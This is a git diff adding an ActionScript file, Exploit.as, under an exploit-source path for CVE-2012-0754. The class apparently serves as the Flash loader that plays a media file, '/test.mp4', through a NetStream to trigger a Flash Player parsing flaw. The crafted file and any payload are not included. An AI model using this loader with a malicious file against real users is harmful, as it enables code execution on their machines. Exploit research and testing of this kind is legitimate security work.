diff --git a/external/source/exploits/CVE-2012-0754/Exploit.as b/external/source/exploits/CVE-2012-0754/Exploit.as new file mode 100644 index 0000000000..feb5aacb1d --- /dev/null +++ b/external/source/exploits/CVE-2012-0754/Exploit.as @@ -0,0 +1,31 @@ +package { + import flash.display.*; + import flash.text.*; + import flash.display.*; + import flash.media.*; + import flash.net.*; + import flash.utils.*; + + public class Exploit extends Sprite { + private var greeting:TextField = new TextField(); + public var MyVideo:Video; + public var MyNC:NetConnection; + public var MyNS:NetStream; + + public function Exploit() { + greeting.text = "Loading..."; + greeting.x = 100; + greeting.y = 100; + addChild(greeting); + + MyVideo = new Video(); + addChild(MyVideo); + MyNC = new NetConnection(); + MyNC.connect(null); + MyNS = new NetStream(MyNC); + MyVideo.attachNetStream(MyNS); + MyNS.play("/test.mp4"); + + } + } +}